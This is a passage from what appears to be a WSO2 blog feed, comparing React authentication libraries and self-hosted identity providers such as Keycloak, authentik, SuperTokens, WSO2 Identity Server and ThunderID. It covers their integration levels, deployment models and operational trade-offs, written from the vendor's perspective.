<p>One correction is important here. Auth0 can no longer accurately be described simply as cloud-only. Its Enterprise offering includes private deployment options.</p>
<p>However, that remains different from downloading an open-source identity server and independently deciding where and how you want to operate it.</p>
<p>For React itself, the integration is established and straightforward. The more important question is whether the Auth0 service model fits the amount of deployment and commercial control you want over the identity layer.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="supabase-auth">Supabase Auth<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#supabase-auth" class="hash-link" aria-label="Direct link to Supabase Auth" title="Direct link to Supabase Auth" translate="no">​</a></h3>
<p>Supabase Auth is slightly different because authentication is part of the broader Supabase application platform.</p>
<p>The JavaScript SDK works with React and provides the common authentication capabilities expected for applications using Supabase. Supabase Auth can also be used independently and its Auth server can be self-hosted, so it would be incorrect to describe it simply as a cloud-only service.</p>
<p>If your application already uses Supabase and Postgres, keeping authentication within the same platform can remove integration work. Supabase Auth also integrates naturally with the database and Supabase's Row Level Security model.</p>
<p>The limitation appears when authentication starts becoming a broader identity problem.</p>
<p>Supabase Auth is primarily application authentication rather than a full IAM platform designed to become a shared identity layer across many applications, APIs, organizations, enterprise identity providers, administrators, agents, and other identity types.</p>
<p>That distinction may not matter when you are building one application.</p>
<p>But if identity later becomes infrastructure of its own, you may need to introduce a dedicated identity platform and move some of those responsibilities outside the application platform.</p>
<p>So for me, the first question with Supabase Auth is simple: are you choosing authentication for a Supabase application, or are you choosing the long-term identity layer for a broader system?</p>
<p>Those can eventually become two different requirements.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="keycloak">Keycloak<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#keycloak" class="hash-link" aria-label="Direct link to Keycloak" title="Direct link to Keycloak" translate="no">​</a></h3>
<p>Keycloak is an Apache 2.0 licensed open-source identity server and has been deployed in production for many years.</p>
<p>For a React application, developers can use the official keycloak-js adapter or a standard OpenID Connect client. The old react-keycloak project that still appears in many tutorials is archived, so it should not be treated as the current React integration path.</p>
<p>Keycloak supports OpenID Connect and SAML together with broader IAM capabilities. Its Organizations model has also continued to develop, and newer releases have added additional organization administration features while SCIM support is being introduced.</p>
<p>The main difference from application libraries is that Keycloak is already a standalone identity layer.</p>
<p>Multiple applications can use the same server, and identity does not need to be embedded into each application's backend architecture.</p>
<p>The trade-off is operations.</p>
<p>Running an identity server in production involves much more than starting the getting-started container. Availability, clustering, databases, upgrades, security patches, certificates, monitoring, backup, and disaster recovery all become your responsibility.</p>
<p>For organizations that already have the platform engineering capability and want an established open-source identity server, that may be an acceptable trade.</p>
<p>For a small application team primarily looking for an authentication library, it can be significantly more infrastructure than the original problem requires.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="wso2-identity-server">WSO2 Identity Server<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#wso2-identity-server" class="hash-link" aria-label="Direct link to WSO2 Identity Server" title="Direct link to WSO2 Identity Server" translate="no">​</a></h3>
<p>WSO2 takes a different approach because the identity layer can remain a standalone platform without forcing you into one deployment model.</p>
<p>For self-managed environments, WSO2 Identity Server provides the identity server that you can operate in your own infrastructure, including on-premises, Kubernetes, public cloud, private cloud infrastructure, and environments where direct control of the IAM runtime is required.</p>
<p>At the same time, WSO2 Identity Platform is also available as a multi-tenant SaaS service and as a WSO2-managed private cloud deployment.</p>
<p>This means the initial decision does not have to be "put authentication inside the application" versus "hand identity completely to a SaaS provider."</p>
<p>You can keep identity as an independently reusable platform and choose the operational model that fits the organization.</p>
<p>For a React developer, the application-facing experience still starts with a first-party SDK.</p>
<p>The WSO2 React SDK provides React-specific components and hooks, while Next.js has its own SDK rather than making plain React a secondary use case. This gives developers component-based authentication experiences without requiring every application to build authentication flows directly from OAuth or OpenID Connect primitives.</p>
<p>However, the reason to consider WSO2 Identity Server is not simply that it has a React SDK.</p>
<p>One area is B2B identity.</p>
<p>WSO2 models organizations hierarchically. An organization can contain child organizations, which can themselves contain further organizations, while applications, roles, and users can be managed and shared within that structure.</p>
<p>This matters for B2B SaaS applications where an organization is not simply another attribute attached to a user.</p>
<p>Another area is protocol depth.</p>
<p>WSO2 Identity Server supports OAuth 2.0, OpenID Connect, SAML, SCIM, and more advanced identity and authorization profiles. As application authentication expands into enterprise federation, provisioning, API authorization, delegation, or regulatory interoperability, the identity layer does not have to be replaced simply because the original React application has grown beyond login.</p>
<p>WSO2 has also introduced first-class identity management for AI agents.</p>
<p>Current releases can represent and manage agents independently, including lifecycle, authentication, authorization, ownership, and auditability. Newer releases also support delegated scenarios where agents need to act with authority originating from a human rather than simply receiving a permanently standing credential.</p>
<p>This is another example of why separating the identity layer from the application can matter. Humans, APIs, workloads, organizations, and agents can all eventually need to participate in the same identity architecture.</p>
<p>For a small React application that only needs login, much of this capability may be unnecessary.</p>
<p>But if you expect identity to become infrastructure shared across applications and APIs, or if you need B2B IAM, enterprise federation, self-managed deployment, SaaS, or private cloud without changing the fundamental identity architecture, WSO2 covers a wider deployment range than either application-embedded libraries or SaaS-only approaches.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="thunderid">ThunderID<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#thunderid" class="hash-link" aria-label="Direct link to ThunderID" title="Direct link to ThunderID" translate="no">​</a></h3>
<p>ThunderID is the newest identity server in this comparison, and its maturity should be understood in that context.</p>
<p>It is an Apache 2.0 licensed open-source identity stack built in Go. It uses a lightweight runtime and declarative resource configuration and has been designed around newer identity requirements involving humans, machines, workloads, and AI agents.</p>
<p>Its current capabilities include OAuth 2.1 and OpenID Connect, WebAuthn/passkeys, identity provider federation, organizational units and groups, authorization, verifiable credentials, and declarative YAML configuration suitable for GitOps workflows.</p>
<p>Like Keycloak and WSO2 Identity Server, ThunderID keeps identity outside the application.</p>
<p>A React application uses the identity service rather than making authentication part of the React application's own backend architecture. ThunderID also provides a first-party React SDK with components for application integration.</p>
<p>Where ThunderID differs is its design direction.</p>
<p>AI agents are modeled as identities rather than simply being represented as OAuth clients. The model covers registration, credentials, lifecycle, ownership, and delegated authority, allowing an agent to exist and be governed independently from the human, workload, or application that uses it.</p>
<p>ThunderID also puts more emphasis on declarative configuration and GitOps-style operation than traditional IAM products.</p>
<p>There is, however, an important maturity difference.</p>
<p>ThunderID is a much younger project than WSO2 Identity Server or Keycloak. It does not yet have the same production history, ecosystem depth, or operational track record of identity servers that have been deployed for many years.</p>
<p>That should remain part of the evaluation rather than being hidden behind a feature table.</p>
<p>If your requirement is an established enterprise IAM deployment today, maturity may carry more weight.</p>
<p>If you are evaluating an open-source identity foundation for newer architectures, particularly agent identity, workload identity, decentralized identity, post-quantum evolution, or GitOps-managed IAM, ThunderID takes a different architectural direction and is worth evaluating against those requirements.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="msal-react">MSAL React<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#msal-react" class="hash-link" aria-label="Direct link to MSAL React" title="Direct link to MSAL React" translate="no">​</a></h3>
<p>MSAL React is Microsoft's React authentication library for applications using Microsoft Entra ID.</p>
<p>This is different from Better Auth or Auth.js in one important way.</p>
<p>The identity system does not live inside your application. Microsoft Entra ID is already the standalone identity service, while MSAL React is the client library your React application uses to interact with it.</p>
<p>The architectural constraint is therefore not that authentication becomes part of your application stack.</p>
<p>The dependency is Microsoft Entra ID itself.</p>
<p>If your users, applications, and identity policies already live in Entra ID, MSAL React is the natural integration and there may be little reason to introduce another identity system.</p>
<p>If you want an identity layer that you can operate independently of Microsoft's cloud and licensing model, MSAL React does not provide that option because the SDK is specifically designed around Entra ID.</p>
<p>So this is less of a general authentication-library decision and more a question of whether Microsoft Entra ID is already the identity platform you have chosen.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="which-one-should-you-choose">Which one should you choose?<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#which-one-should-you-choose" class="hash-link" aria-label="Direct link to Which one should you choose?" title="Direct link to Which one should you choose?" translate="no">​</a></h3>
<p>For me, the useful distinction is not the React API. Most of these options can get a user signed in without much difficulty. The more important question is where you want the identity layer behind that React application to live as the system grows.</p>
<p>If authentication is primarily a concern of one application, libraries such as Better Auth or Auth.js can be a good fit. They keep authentication close to the application and give you control over the implementation. The thing to consider is whether identity is likely to remain an application concern. Once several applications, APIs, services, or organizations need the same identity context, separating identity from an individual application becomes increasingly useful.</p>
<p>Managed platforms such as Clerk and Auth0 already give you that standalone identity layer, but it is operated within the provider's service and deployment model. You gain operational simplicity, while accepting the provider's service boundaries, pricing, feature tiers, and deployment options.</p>
<p>Supabase Auth makes particular sense when Supabase is already part of your application architecture. If authentication later needs to become a broader IAM layer independent of that application platform, that is the point where its application-focused model needs to be reconsidered.</p>
<p>Keycloak gives you a standalone open-source identity server and full control over where you run it, but you also take on the operational responsibility of running identity infrastructure yourself.</p>
<p>WSO2 Identity Platform gives you another option. You can keep identity as a standalone reusable layer and choose how you want to operate it: self-managed through WSO2 Identity Server, as SaaS, or through a managed private cloud deployment. The React SDK remains the application-facing integration rather than becoming the identity architecture itself.</p>
<p>ThunderID follows the standalone identity model as well, with a newer architecture built around a lightweight Go runtime, declarative configuration, GitOps, and first-class support for newer identity types such as AI agents. It is also a much younger project, so maturity should remain part of that evaluation.</p>
<p>MSAL React is the more specific case. It makes sense when Microsoft Entra ID is already the identity platform you have chosen.</p>
<p>For a React developer, the login code is usually the easy part. The harder decision is where the identity layer behind it should live as the application grows.</p>
<p>For a single application, keeping authentication inside the application stack can be completely reasonable. A managed service can also be a good choice when you want to avoid operating identity infrastructure yourself. But once multiple applications, APIs, organizations, identity providers, or other identity types need to share the same identity context, authentication starts becoming a broader infrastructure concern.</p>
<p>You do not need to solve that problem on day one. But if you already know those requirements are coming, it is worth making that boundary explicit before choosing the library, because changing the React integration later is usually easier than changing the identity architecture behind it.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>Self-hosted IAM</category>
            <category>Open-source IAM</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[Open Source and Self-Hosted Auth for React in 2026]]></title>
            <link>https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react</link>
            <guid>https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react</guid>
            <pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Compare open source and self-hosted authentication for React apps: authentik, Keycloak, SuperTokens, Authelia and WSO2, with honest trade-offs.]]></description>
            <content:encoded><![CDATA[<p>Installing an identity provider and connecting it to a React application is usually the easy part. Most open source and self-hosted authentication guides focus on getting to that point, comparing features, licenses, and initial setup.</p>
<p>The more important questions appear later. Who applies a security update when a vulnerability is disclosed? How are certificates and signing keys rotated? What happens when the deployment is several major versions behind, or the engineer who originally set it up has moved on?</p>
<p>Self-hosting is therefore an operational decision as much as a technology or licensing decision. This guide starts with that operational responsibility, then looks at the available approaches, the open source landscape, and what React teams should consider when choosing and running a self-hosted identity provider.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-self-hosting-actually-means">What self-hosting actually means<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#what-self-hosting-actually-means" class="hash-link" aria-label="Direct link to What self-hosting actually means" title="Direct link to What self-hosting actually means" translate="no">​</a></h2>
<p>Self-hosting means the identity software runs on infrastructure you control and your team is responsible for operating it.</p>
<p>It does not tell you whether the software is open source, proprietary, or written by your own team. Those are separate decisions.</p>
<p>In practice, there are three main approaches.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-one-build-authentication-yourself">Option one: build authentication yourself<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#option-one-build-authentication-yourself" class="hash-link" aria-label="Direct link to Option one: build authentication yourself" title="Direct link to Option one: build authentication yourself" translate="no">​</a></h3>
<p>This is usually described as rolling your own auth. Your team owns the user store, password handling, sessions or token issuance, recovery flows, and the application logic around them.</p>
<p>Of course, nobody should implement password hashing or signature verification from scratch. Those functions should come from well-tested libraries. But using libraries does not remove the operational responsibility. Security fixes still need dependency upgrades, testing, and releases. Algorithms can be deprecated, libraries can introduce breaking changes, and security reviews can require changes to implementations that have been running for years.</p>
<p>The same pattern appears when requirements grow.</p>
<p>Assume an audit introduces an MFA requirement. With an identity product, much of this is configuration. With a custom implementation, the team first needs to decide which factors are supported, how enrollment works, how users recover when a device is lost, how administrators handle recovery, and what support processes are required.</p>
<p>Authentication quickly becomes more than login code.</p>
<p>The useful question is therefore not whether the team is capable of building authentication. Most experienced development teams are. <strong>The question is whether identity should become something the team owns for the next several years, including its security, compliance, protocol support, and operational lifecycle.</strong></p>
<p>Building authentication internally makes sense when both of the following are true: the team has genuine identity expertise, and there is a requirement existing products cannot meet.</p>
<p>Those cases do exist. A company may itself be building an identity product, operating in an environment where third-party software cannot run, or using an identity model that does not fit available products. Outside those cases, building authentication can be useful for learning, but using the same implementation as a production identity platform is a different decision.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-two-run-open-source-identity-software">Option two: run open source identity software<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#option-two-run-open-source-identity-software" class="hash-link" aria-label="Direct link to Option two: run open source identity software" title="Direct link to Option two: run open source identity software" translate="no">​</a></h3>
<p>This is what many teams mean when they talk about self-hosted authentication. An open source identity provider is deployed on infrastructure controlled by the organization.</p>
<p>The value of open source here is not only that there may be no software license fee. It also provides access to the source and the freedoms that come with the license.</p>
<p>Security teams can inspect the implementation. Organizations can perform their own security analysis. The software can be modified when a requirement is not available out of the box, and it can be deployed in environments where a public managed service is not possible.</p>
<p>Open source also does not necessarily mean operating without support.</p>
<p>Many open source identity providers have a commercial organization behind them offering production support, tested updates, migration guidance, and support commitments. This creates a useful middle ground between running everything independently and adopting a proprietary identity product.</p>
<p>The organization keeps the open source software and deployment control while deciding separately whether commercial support is required.</p>
<p>Another useful model is an open source identity provider that is also available as a managed service. In this case, self-hosted and SaaS can become deployment choices around the same underlying software rather than completely separate products.</p>
<p>This can simplify future migration, provided the protocol and application integration surfaces remain compatible between the two deployment models.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-three-run-proprietary-identity-software">Option three: run proprietary identity software<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#option-three-run-proprietary-identity-software" class="hash-link" aria-label="Direct link to Option three: run proprietary identity software" title="Direct link to Option three: run proprietary identity software" translate="no">​</a></h3>
<p>The third approach is commercially licensed identity software running on infrastructure controlled by the organization.</p>
<p>This is common in enterprise environments, particularly where there are regulatory, operational, or support requirements.</p>
<p>The main benefit is accountability. There is a vendor, a support contract, a release process, and an organization responsible for product-level issues. Enterprise capabilities are also more likely to be delivered as part of a supported product rather than assembled from multiple components.</p>
<p>The trade-off is reduced independence.</p>
<p>The complete implementation may not be available for inspection or modification. Upgrade timing follows the vendor's supported release path, and requirements outside the supported extension model depend on what the vendor chooses to provide.</p>
<p>Migration can also be more expensive if applications rely heavily on proprietary integration surfaces rather than standards such as OAuth 2.0, OpenID Connect, SAML, or SCIM.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="wiring-a-react-app-to-a-self-hosted-provider">Wiring a React app to a self-hosted provider<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#wiring-a-react-app-to-a-self-hosted-provider" class="hash-link" aria-label="Direct link to Wiring a React app to a self-hosted provider" title="Direct link to Wiring a React app to a self-hosted provider" translate="no">​</a></h3>
<p>Once you have selected an identity provider, the next question is how the React application should integrate with it.</p>
<p>There are three common approaches. They are not different authentication models, but different levels of abstraction over the same OpenID Connect flow. The level you choose determines how much of that flow your application needs to manage.</p>
<p>For self-hosted providers, this also affects product choice. Almost every conformant OpenID Connect provider works at the protocol level. A React SDK depends on whether the provider or its community maintains one, and SDKs with ready-made React components are less common.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-1-integrate-at-the-protocol-level">Level 1: integrate at the protocol level<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#level-1-integrate-at-the-protocol-level" class="hash-link" aria-label="Direct link to Level 1: integrate at the protocol level" title="Direct link to Level 1: integrate at the protocol level" translate="no">​</a></h4>
<p>At the lowest level, the application integrates directly with OpenID Connect using a general OAuth 2.0 or OpenID Connect client library.</p>
<p>The application handles the authorization redirect, code exchange, token storage, expiry, refresh, logout, and processing of the authentication response. This gives the most control, but also leaves the most responsibility with the development team.</p>
<p>The main advantage is portability. A conformant OpenID Connect provider exposes a discovery document describing its authorization endpoint, token endpoint, signing keys, and supported capabilities. If the integration is built around this standard metadata rather than provider-specific APIs, moving between providers can become largely a configuration change.</p>
<p>This level is useful when portability matters, when every step in the authentication path needs to be reviewed, or when the selected provider does not have a suitable React SDK.</p>
<p>The trade-off is expertise. The team still needs to understand OpenID Connect well enough to handle authentication state, token storage, refresh, and logout correctly.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-2-use-a-headless-react-sdk">Level 2: use a headless React SDK<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#level-2-use-a-headless-react-sdk" class="hash-link" aria-label="Direct link to Level 2: use a headless React SDK" title="Direct link to Level 2: use a headless React SDK" translate="no">​</a></h4>
<p>The second approach is a provider-specific or community-maintained React SDK that handles the OpenID Connect mechanics while leaving the UI to the application.</p>
<p>The SDK typically manages sign-in, token storage, expiry, refresh, and logout, then exposes hooks or utility functions such as:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">signIn()</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">signOut()</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">isAuthenticated</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">user</span><br></span></code></pre></div></div>
<p>The application still owns the sign-in button, loading state, profile page, errors, and the rest of the authentication UI.</p>
<p>This works well when the application has its own design system but the team does not want to maintain the protocol flow itself.</p>
<p>For self-hosted providers, also check who maintains the SDK. If it is community-maintained, its activity, ownership, release history, and React compatibility become part of the dependency decision.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-3-use-a-react-sdk-with-ready-made-components">Level 3: use a React SDK with ready-made components<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#level-3-use-a-react-sdk-with-ready-made-components" class="hash-link" aria-label="Direct link to Level 3: use a React SDK with ready-made components" title="Direct link to Level 3: use a React SDK with ready-made components" translate="no">​</a></h4>
<p>The highest level provides both authentication hooks and ready-made React components.</p>
<p>Conceptually, the application may use components such as:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignIn</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">UserProfile</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignOut</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><br></span></code></pre></div></div>
<p>This provides the fastest route to a working authentication experience, while good SDKs still allow the components to be styled or extended.</p>
<p>The trade-off is tighter coupling. At Level 1, the application mainly depends on OpenID Connect. At Level 2, it depends on the SDK API. At Level 3, provider-specific components also become part of the React component tree.</p>
<p>Most component-based SDKs still expose the lower-level hooks underneath, so individual screens can use custom UI when more control is required.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-open-source-and-self-hosted-landscape-in-2026">The open source and self-hosted landscape in 2026<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#the-open-source-and-self-hosted-landscape-in-2026" class="hash-link" aria-label="Direct link to The open source and self-hosted landscape in 2026" title="Direct link to The open source and self-hosted landscape in 2026" translate="no">​</a></h2>
<p>Six options come up repeatedly when React developers look at open source authentication and self-hosted identity providers.</p>
<p>A useful way to compare them is to look beyond the feature checklist and ask what each project was originally designed to solve. That design centre still shows up in what the product makes easy, what the application team needs to build around it, and how well it fits when requirements grow beyond basic login.</p>
<p>For React developers, there is another important difference: the integration experience. Some providers expose standard OpenID Connect and leave the React integration largely to the application team. Others provide first-party React SDKs, hooks, and reusable components that remove much of the authentication-specific code from the application.</p>
<p>The comparison therefore looks at two things: what the identity platform provides as requirements grow, and how much React-specific integration it provides out of the box.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentik">authentik<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#authentik" class="hash-link" aria-label="Direct link to authentik" title="Direct link to authentik" translate="no">​</a></h4>
<p>authentik is designed to make running a self-hosted identity provider relatively straightforward. It supports the authentication capabilities most application teams expect and is OpenID Certified.</p>
<p>For React developers, the main limitation is the application integration layer. authentik exposes a standard OpenID Connect interface, but there is no first-party React SDK or reusable React component library. In terms of the integration levels discussed earlier, it effectively stops at Level 1.</p>
<p>That is a real weakness if the team wants authentication to fit naturally into the React development experience. You can still integrate using a general OIDC library, but authentication state, token lifecycle, UI integration, and common components remain things the application team needs to assemble.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="authelia">Authelia<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#authelia" class="hash-link" aria-label="Direct link to Authelia" title="Direct link to Authelia" translate="no">​</a></h4>
<p>Authelia comes from a different starting point. It was originally designed to put authentication in front of applications through a reverse proxy, although it can now also act as an OpenID Connect provider.</p>
<p>For React, this is again primarily a Level 1 integration. The application talks to Authelia using OpenID Connect, but there is no first-party React SDK providing hooks, authentication state management, or reusable components.</p>
<p>This is less of an issue when the goal is mainly SSO for self-hosted applications. It becomes a more visible weakness when authentication is part of the application itself, because more of the React-specific integration remains with the development team.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="keycloak">Keycloak<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#keycloak" class="hash-link" aria-label="Direct link to Keycloak" title="Direct link to Keycloak" translate="no">​</a></h4>
<p>Keycloak is an established option in this list, with broad identity capabilities and many years of community and production use.</p>
<p>React applications normally integrate through OpenID Connect and Keycloak's official JavaScript adapter, keycloak-js. The adapter handles much of the browser-side authentication flow and token lifecycle.</p>
<p>The limitation is that the abstraction does not continue into React itself. Keycloak does not provide a first-party React SDK with hooks and reusable authentication components for application developers. Community React integrations exist, but that means taking another dependency in the authentication path rather than using something maintained as part of Keycloak itself.</p>
<p>For React developers, this is a weakness compared with products that provide complete Level 2 and Level 3 support. Keycloak gives you a mature identity platform underneath the application, but more of the React authentication layer and UI remains yours to build.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="supertokens">SuperTokens<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#supertokens" class="hash-link" aria-label="Direct link to SuperTokens" title="Direct link to SuperTokens" translate="no">​</a></h4>
<p>SuperTokens has gained some community traction, particularly among application developers looking for an SDK-led authentication model.</p>
<p>Its official React SDK provides both lower-level authentication APIs and prebuilt authentication UI, covering the Level 2 and Level 3 models described earlier. Authentication state, sessions, token handling, and common UI flows can therefore be handled through the SDK rather than assembled separately by the application team.</p>
<p>The architectural difference is on the server side. The self-hosted SuperTokens model is not equivalent to running a general-purpose OpenID Connect authorization server, particularly when the requirement is to operate one identity provider that serves multiple independent applications and clients through standard OIDC.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="wso2-identity-server">WSO2 Identity Server<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#wso2-identity-server" class="hash-link" aria-label="Direct link to WSO2 Identity Server" title="Direct link to WSO2 Identity Server" translate="no">​</a></h4>
<p>WSO2 Identity Server combines an enterprise identity platform with a first-party React developer experience.</p>
<p>Its React SDK covers both Level 2 and Level 3. Developers can use hooks and APIs when they want complete control of the interface, or use reusable components for common authentication and user-management experiences.</p>
<p>This includes components for sign-in, sign-up, sign-out, authentication state, user profile and self-service experiences, as well as organization-related use cases.</p>
<p>For React developers, this removes a meaningful amount of authentication-specific application code. A team can start with reusable components, customize the UI when required, or drop down to the lower-level SDK APIs without changing the identity provider underneath.</p>
<p>The platform also covers requirements that commonly appear later, including B2B organizations and newer agent identity scenarios. This becomes relevant when an application starts with login but later needs to support business customers, delegated administrators, or agents acting on behalf of users.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="thunderid">ThunderID<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#thunderid" class="hash-link" aria-label="Direct link to ThunderID" title="Direct link to ThunderID" translate="no">​</a></h4>
<p>ThunderID takes a developer-first approach from a much newer identity architecture.</p>
<p>Its official React SDK covers both Level 2 and Level 3. It provides hooks for applications that want full UI control, together with reusable components for sign-in, authenticated-state rendering, user information, and other common authentication experiences.</p>
<p>It also provides first-party integration with React Router, reducing some of the routing and authentication-state plumbing that application teams would otherwise need to build.</p>
<p>For React developers, this is one of ThunderID's clearer advantages. SDK and framework integration are part of the project's design rather than something added around the identity server later.</p>
<p>The trade-off is maturity. ThunderID is much newer than the established projects in this list, so production history and the breadth of the surrounding identity feature set still need to be considered separately.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="react-integration-comparison">React integration comparison<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#react-integration-comparison" class="hash-link" aria-label="Direct link to React integration comparison" title="Direct link to React integration comparison" translate="no">​</a></h4>
<p>For React developers, the important difference is how much authentication-specific code remains inside the application.</p>
<p>Level 1 provides the strongest standards-based portability, but the application team owns more of the integration. A first-party Level 2 SDK removes much of the authentication state and token-lifecycle plumbing, while Level 3 also provides reusable components for common authentication experiences.</p>
<table><thead><tr><th><strong>Project</strong></th><th><strong>Level 1: OIDC</strong></th><th><strong>Level 2: React SDK / hooks</strong></th><th><strong>Level 3: React components</strong></th><th><strong>React developer impact</strong></th></tr></thead><tbody><tr><td><strong>authentik</strong></td><td>Yes</td><td><strong>No first-party React SDK</strong></td><td><strong>No</strong></td><td>Portable standards-based integration, but most React-specific authentication work remains with the application team.</td></tr><tr><td><strong>Authelia</strong></td><td>Yes</td><td><strong>No first-party React SDK</strong></td><td><strong>No</strong></td><td>Works at the protocol level, but provides little React-specific abstraction.</td></tr><tr><td><strong>Keycloak</strong></td><td>Yes</td><td><strong>No first-party React SDK; official JS adapter available</strong></td><td><strong>No first-party component SDK</strong></td><td>The JS adapter handles much of the browser authentication flow, but React bindings and UI remain outside the core project.</td></tr><tr><td><strong>SuperTokens</strong></td><td><strong>Not equivalent in self-hosted deployment</strong></td><td><strong>Yes</strong></td><td><strong>Yes</strong></td><td>Provides React APIs and prebuilt authentication experiences, but with a different self-hosted server model.</td></tr><tr><td><strong>WSO2 Identity Server</strong></td><td>Yes</td><td><strong>Yes</strong></td><td><strong>Yes</strong></td><td>Full path from standards-based OIDC to hooks and reusable React components.</td></tr><tr><td><strong>ThunderID</strong></td><td>Yes</td><td><strong>Yes</strong></td><td><strong>Yes</strong></td><td>Full React SDK with hooks, components, and first-party framework integration.</td></tr></tbody></table>
<p>The absence of Level 2 or Level 3 support should be treated as a real weakness for React developers, not simply a missing convenience library.</p>
<p>This does not make a Level 1-only project a weaker identity provider overall. It means it provides a weaker <strong>React developer experience</strong>, which is an important distinction when React developers are the audience making the choice.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-running-an-identity-provider-involves">What running an identity provider involves<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#what-running-an-identity-provider-involves" class="hash-link" aria-label="Direct link to What running an identity provider involves" title="Direct link to What running an identity provider involves" translate="no">​</a></h2>
<p>Once an identity provider is self-hosted, it becomes infrastructure the organization operates.</p>
<p>The following areas should therefore be part of the product evaluation rather than something considered after production deployment.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="security-updates">Security updates<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#security-updates" class="hash-link" aria-label="Direct link to Security updates" title="Direct link to Security updates" translate="no">​</a></h3>
<p>Security fixes usually have the shortest operational timeline.</p>
<p>Getting the fix is only the first part. The more important question is how quickly and safely that fix reaches production.</p>
<p>Before an urgent vulnerability appears, the team should already know who owns identity updates, how an advisory moves from publication to deployment, what approvals are required, what test coverage exists, and which parts of the process can be automated.</p>
<p>It is also useful to measure the actual time required to move a normal update from availability to production. That number is a better indication of the real exposure window than an estimate made during an incident.</p>
<p>Commercial support can improve access to fixes, tested updates, and guidance, but under a self-hosted model the deployment process still belongs to the organization.</p>
